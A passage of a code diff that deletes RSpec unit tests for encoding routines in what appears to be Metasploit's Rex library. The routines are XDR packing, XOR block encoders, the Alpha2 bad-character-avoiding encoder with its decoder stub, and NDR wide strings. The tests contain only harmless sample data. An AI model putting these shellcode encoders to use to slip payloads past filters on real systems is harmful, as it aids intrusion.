let(:int) { 0x41424344 }
|
||||
|
||||
it "returns an String" do
|
||||
is_expected.to be_kind_of(String)
|
||||
end
|
||||
|
||||
it "encodes big endian 32 bit usigned integer" do
|
||||
is_expected.to eq("\x41\x42\x43\x44")
|
||||
end
|
||||
end
|
||||
|
||||
describe ".decode_int!" do
|
||||
subject(:decoded_int) { described_class.decode_int!(data) }
|
||||
|
||||
context "when data is nil" do
|
||||
let(:data) { nil }
|
||||
it "raises an error" do
|
||||
expect { decoded_int }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when data is empty" do
|
||||
let(:data) { '' }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoded_int }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when data is 1-4 bytes length" do
|
||||
let(:data) { "\x41\x42\x43\x44" }
|
||||
|
||||
it "unpacks big endian 32bit unsigned int" do
|
||||
is_expected.to eq(0x41424344)
|
||||
end
|
||||
end
|
||||
|
||||
context "when data is bigger than 4 bytes" do
|
||||
let(:data) { "\x41\x42\x43\x44\x45" }
|
||||
|
||||
it "unpacks just one big endian 32bit unsigned int" do
|
||||
is_expected.to eq(0x41424344)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".encode_lchar" do
|
||||
subject(:encoded_lchar) { described_class.encode_lchar(char) }
|
||||
|
||||
context "when char & 0x80 == 0" do
|
||||
let(:char) { 0x80 }
|
||||
|
||||
it "encodes char byte as integer with sign extended" do
|
||||
is_expected.to eq("\xff\xff\xff\x80")
|
||||
end
|
||||
end
|
||||
|
||||
context "when char & 0x80 != 0" do
|
||||
let(:char) { 0x41 }
|
||||
|
||||
it "encodes char byte as integer" do
|
||||
is_expected.to eq("\x00\x00\x00\x41")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".decode_lchar!" do
|
||||
subject(:decoded_lchar) { described_class.decode_lchar!(data) }
|
||||
|
||||
context "when data's length is equal or greater than 4" do
|
||||
let(:data) { "\x41\x42\x43\x44" }
|
||||
|
||||
it "returns char code for last byte" do
|
||||
is_expected.to eq("D")
|
||||
end
|
||||
end
|
||||
|
||||
context "when data's length is less than 4" do
|
||||
let(:data) { "\x41" }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoded_lchar }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".encode_string" do
|
||||
subject(:encoded_string) { described_class.encode_string(str, max) }
|
||||
|
||||
context "when data is bigger than max" do
|
||||
let(:str) { "ABCDE" }
|
||||
let(:max) { 4 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { encoded_string }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when data is shorter or equal to max" do
|
||||
let(:str) { "ABCDE" }
|
||||
let(:max) { 5 }
|
||||
|
||||
it "returns an String" do
|
||||
is_expected.to be_kind_of(String)
|
||||
end
|
||||
|
||||
it "prefix encoded length" do
|
||||
is_expected.to start_with("\x00\x00\x00\x05")
|
||||
end
|
||||
|
||||
it "returns the encoded string padded with zeros" do
|
||||
is_expected.to eq("\x00\x00\x00\x05ABCDE\x00\x00\x00")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".decode_string!" do
|
||||
subject(:decoded_string) { described_class.decode_string!(data) }
|
||||
|
||||
context "when encoded string length is 0" do
|
||||
let(:data) { "\x00\x00\x00\x00" }
|
||||
|
||||
it "returns empty string" do
|
||||
is_expected.to eq("")
|
||||
end
|
||||
end
|
||||
|
||||
context "when string contains padding" do
|
||||
let(:data) {"\x00\x00\x00\x03ABC00000"}
|
||||
|
||||
it "returns string without padding" do
|
||||
is_expected.to eq("ABC")
|
||||
end
|
||||
end
|
||||
|
||||
context "when fake length" do
|
||||
context "and no string" do
|
||||
let(:data) { "\x00\x00\x00\x03" }
|
||||
|
||||
it "returns empty string" do
|
||||
is_expected.to eq("")
|
||||
end
|
||||
end
|
||||
|
||||
context "longer than real string length" do
|
||||
let(:data) { "\x00\x00\x00\x08ABCD" }
|
||||
|
||||
it "returns available string" do
|
||||
is_expected.to eq("ABCD")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".encode_varray" do
|
||||
subject(:encoded_varray) { described_class.encode_varray(arr, max) }
|
||||
|
||||
context "when arr length is bigger than max" do
|
||||
let(:arr) { [1, 2, 3] }
|
||||
let(:max) { 2 }
|
||||
it "raises an error" do
|
||||
expect { encoded_varray }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when arr length is minor or equal than max" do
|
||||
let(:arr) { [0x41414141, 0x42424242, 0x43434343] }
|
||||
let(:max) { 3 }
|
||||
|
||||
it "returns an String" do
|
||||
expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to be_kind_of(String)
|
||||
end
|
||||
|
||||
it "prefixes encoded length" do
|
||||
expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to start_with("\x00\x00\x00\x03")
|
||||
end
|
||||
|
||||
it "returns the encoded array" do
|
||||
expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to eq("\x00\x00\x00\x03\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".decode_varray!" do
|
||||
subject(:decoded_varray) { described_class.decode_varray!(data) }
|
||||
|
||||
context "when encoded length is 0" do
|
||||
let(:data) { "\x00\x00\x00\x00" }
|
||||
|
||||
it "returns an empty array" do
|
||||
is_expected.to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "when fake encoded length" do
|
||||
context "and no values" do
|
||||
let(:data) { "\x00\x00\x00\x02" }
|
||||
|
||||
it "raises an error" do
|
||||
expect { described_class.decode_varray!(data) { |s| described_class.decode_int!(s) } }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context "longer than available values" do
|
||||
let(:data) { "\x00\x00\x00\x02\x00\x00\x00\x41" }
|
||||
|
||||
it "raises an error" do
|
||||
expect { described_class.decode_varray!(data) { |s| described_class.decode_int!(s) } }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when valid encoded data" do
|
||||
let(:data) { "\x00\x00\x00\x02\x41\x42\x43\x44\x00\x00\x00\x11"}
|
||||
it "retuns Array with decoded values" do
|
||||
expect(described_class.decode_varray!(data) { |s| described_class.decode_int!(s) }).to eq([0x41424344, 0x11])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".encode" do
|
||||
it "encodes integers" do
|
||||
expect(described_class.encode(1)).to eq("\x00\x00\x00\x01")
|
||||
end
|
||||
|
||||
it "encodes arrays" do
|
||||
expect(described_class.encode([0x41414141, 0x42424242])).to eq("\x00\x00\x00\x02\x41\x41\x41\x41\x42\x42\x42\x42")
|
||||
end
|
||||
|
||||
it "encodes strings" do
|
||||
expect(described_class.encode("ABCD")).to eq("\x00\x00\x00\x04\x41\x42\x43\x44")
|
||||
end
|
||||
|
||||
it "encodes mixed type of elements" do
|
||||
expect(described_class.encode(1, [0x41414141], "ABCD")).to eq("\x00\x00\x00\x01\x00\x00\x00\x01\x41\x41\x41\x41\x00\x00\x00\x04\x41\x42\x43\x44")
|
||||
end
|
||||
end
|
||||
|
||||
describe ".decode!" do
|
||||
|
||||
context "when no type arguments" do
|
||||
it "retuns empty Array" do
|
||||
expect(described_class.decode!("\x41\x41\x41\x41")).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "when not enough data" do
|
||||
it "retuns Array filled with nils" do
|
||||
expect(described_class.decode!("", Array)).to eq([nil])
|
||||
end
|
||||
end
|
||||
|
||||
it "decodes integers" do
|
||||
expect(described_class.decode!("\x41\x41\x41\x41", Integer)).to eq([0x41414141])
|
||||
end
|
||||
|
||||
it "decodes arrays" do
|
||||
expect(described_class.decode!("\x00\x00\x00\x01\x41\x41\x41\x41", [Integer])).to eq([[0x41414141]])
|
||||
end
|
||||
|
||||
it "decodes strings" do
|
||||
expect(described_class.decode!("\x00\x00\x00\x01\x41", String)).to eq(["A"])
|
||||
end
|
||||
|
||||
it "decodes mixed elements" do
|
||||
expect(described_class.decode!("\x41\x41\x41\x41\x00\x00\x00\x01\x41\x00\x00\x00\x00\x00\x00\x01\x42\x42\x42\x42", Integer, String, [Integer])).to eq([0x41414141, "A", [0x42424242]])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,8 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoding/xor/byte'
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Rex::Encoding::Xor::Byte do
|
||||
it_behaves_like "an xor encoder", 1
|
||||
end
|
|
@ -1,8 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoding/xor/dword'
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Rex::Encoding::Xor::Dword do
|
||||
it_behaves_like "an xor encoder", 4
|
||||
end
|
|
@ -1,8 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoding/xor/qword'
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Rex::Encoding::Xor::Qword do
|
||||
it_behaves_like "an xor encoder", 8
|
||||
end
|
|
@ -1,8 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoding/xor/word'
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Rex::Encoding::Xor::Word do
|
||||
it_behaves_like "an xor encoder", 2
|
||||
end
|
|
@ -1,65 +0,0 @@
|
|||
RSpec.shared_examples_for 'Rex::Encoder::Alpha2::Generic' do
|
||||
|
||||
describe ".encode_byte" do
|
||||
subject(:encoded_byte) { described_class.encode_byte(block, badchars) }
|
||||
|
||||
context "when too many badchars" do
|
||||
let(:block) { 0x41 }
|
||||
let(:badchars) { (0x00..0xff).to_a.pack("C*") }
|
||||
|
||||
it "raises an error" do
|
||||
expect { encoded_byte }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when encoding is possible" do
|
||||
let(:block) { 0x41 }
|
||||
let(:badchars) { 'B' }
|
||||
|
||||
it "returns two-bytes encoding" do
|
||||
expect(encoded_byte.length).to eq(2)
|
||||
end
|
||||
|
||||
it "returns encoding without badchars" do
|
||||
badchars.each_char do |b|
|
||||
is_expected.to_not include(b)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe ".encode" do
|
||||
subject(:encoded_result) { described_class.encode(buf, reg, offset, badchars) }
|
||||
let(:buf) { 'ABCD' }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
context "when too many badchars" do
|
||||
let(:badchars) { (0x00..0xff).to_a.pack("C*") }
|
||||
|
||||
it "raises an error" do
|
||||
expect { encoded_result }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when encoding is possible" do
|
||||
let(:badchars) { '\n' }
|
||||
|
||||
it "returns encoding starting with the decoder stub" do
|
||||
is_expected.to start_with(described_class.gen_decoder(reg, offset))
|
||||
end
|
||||
|
||||
it "returns encoding ending with terminator" do
|
||||
is_expected.to end_with(described_class.add_terminator)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".add_terminator" do
|
||||
subject(:terminator) { described_class.add_terminator }
|
||||
|
||||
it { is_expected.to eq('AA') }
|
||||
end
|
||||
|
||||
end
|
|
@ -1,18 +0,0 @@
|
|||
RSpec.shared_examples_for "Rex::Encoder::NDR.wstring" do
|
||||
let(:string) { "ABCD" }
|
||||
|
||||
it "encodes the argument as null-terminated unicode string" do
|
||||
is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00")
|
||||
end
|
||||
|
||||
it "starts encoding string metadata" do
|
||||
expect(subject.unpack("VVV")[0]).to eq(string.length + 1)
|
||||
expect(subject.unpack("VVV")[1]).to eq(0)
|
||||
expect(subject.unpack("VVV")[2]).to eq(string.length + 1)
|
||||
end
|
||||
|
||||
it "ends with padding to make result length 32-bits aligned" do
|
||||
is_expected.to end_with("\x00" * 2)
|
||||
expect(subject.length).to eq(24)
|
||||
end
|
||||
end
|
|
@ -1,39 +0,0 @@
|
|||
RSpec.shared_examples_for "Rex::Encoder::NDR.wstring_prebuild" do
|
||||
context "when 2-byte aligned string length" do
|
||||
let(:string) { "A\x00B\x00C\x00" }
|
||||
|
||||
it "encodes the argument as null-terminated unicode string" do
|
||||
is_expected.to include("A\x00B\x00C\x00")
|
||||
end
|
||||
|
||||
it "starts encoding string metadata" do
|
||||
expect(subject.unpack("VVV")[0]).to eq(string.length / 2)
|
||||
expect(subject.unpack("VVV")[1]).to eq(0)
|
||||
expect(subject.unpack("VVV")[2]).to eq(string.length / 2)
|
||||
end
|
||||
|
||||
it "ends with padding to make result length 32-bits aligned" do
|
||||
is_expected.to end_with("\x00" * 2)
|
||||
expect(subject.length).to eq(20)
|
||||
end
|
||||
end
|
||||
|
||||
context "when 2-byte unaligned string length" do
|
||||
let(:string) { "A\x00B\x00C" }
|
||||
|
||||
it "encodes the argument as null-terminated unicode string" do
|
||||
is_expected.to include("A\x00B\x00C\x00")
|
||||
end
|
||||
|
||||
it "starts encoding string metadata" do
|
||||
expect(subject.unpack("VVV")[0]).to eq((string.length + 1) / 2)
|
||||
expect(subject.unpack("VVV")[1]).to eq(0)
|
||||
expect(subject.unpack("VVV")[2]).to eq((string.length + 1) / 2)
|
||||
end
|
||||
|
||||
it "ends with padding to make result length 32-bits aligned" do
|
||||
is_expected.to end_with("\x00" * 2)
|
||||
expect(subject.length).to eq(20)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,37 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
RSpec.shared_examples_for 'an xor encoder' do |keysize|
|
||||
|
||||
it "should encode one block" do
|
||||
# Yup it returns one of its arguments in an array... Because spoon.
|
||||
encoded, key = described_class.encode("A"*keysize, "A"*keysize)
|
||||
expect(encoded).to eql("\x00"*keysize)
|
||||
|
||||
encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize)
|
||||
expect(encoded).to eql("\xff"*keysize)
|
||||
|
||||
encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize)
|
||||
expect(encoded).to eql("\x88"*keysize)
|
||||
end
|
||||
|
||||
it "should encode multiple blocks" do
|
||||
2.upto 50 do |count|
|
||||
encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize)
|
||||
expect(encoded).to eql("\x88"*keysize*count)
|
||||
end
|
||||
end
|
||||
|
||||
if keysize > 1
|
||||
it "should deal with input lengths that aren't a multiple of keysize" do
|
||||
expect {
|
||||
encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize)
|
||||
expect(encoded).to eql("\x00"*(keysize+1))
|
||||
}.not_to raise_error
|
||||
|
||||
expect {
|
||||
encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize)
|
||||
expect(encoded).to eql("\x00"*(keysize-1))
|
||||
}.not_to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue